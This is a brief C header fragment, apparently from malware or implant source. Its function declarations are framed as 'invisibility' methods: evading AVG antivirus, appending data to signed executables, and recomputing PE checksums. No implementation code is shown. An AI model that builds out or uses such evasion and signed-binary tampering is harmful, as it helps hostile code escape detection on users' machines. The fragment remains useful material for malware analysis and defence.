/* methods required for specific invisibility issues */ typedef PIMAGE_NT_HEADERS (WINAPI *CHECKSUMMAPPEDFILE) ( _In_ PVOID BaseAddress, _In_ DWORD FileLength, _Out_ PDWORD HeaderSum, _Out_ PDWORD CheckSum); VOID AvgInvisibility(); LPBYTE AppendDataInSignedExecutable(LPWSTR lpTargetExecutable, LPBYTE lpPadData, DWORD dwPadDataSize, PDWORD dwFatExecutableSize); LPBYTE AppendDataInSignedExecutable(HANDLE hExecutable, LPBYTE lpPadData, DWORD dwPadDataSize, PDWORD dwFatExecutableSize); DWORD ComputePEChecksum(LPBYTE lpMz, DWORD dwBufferSize); .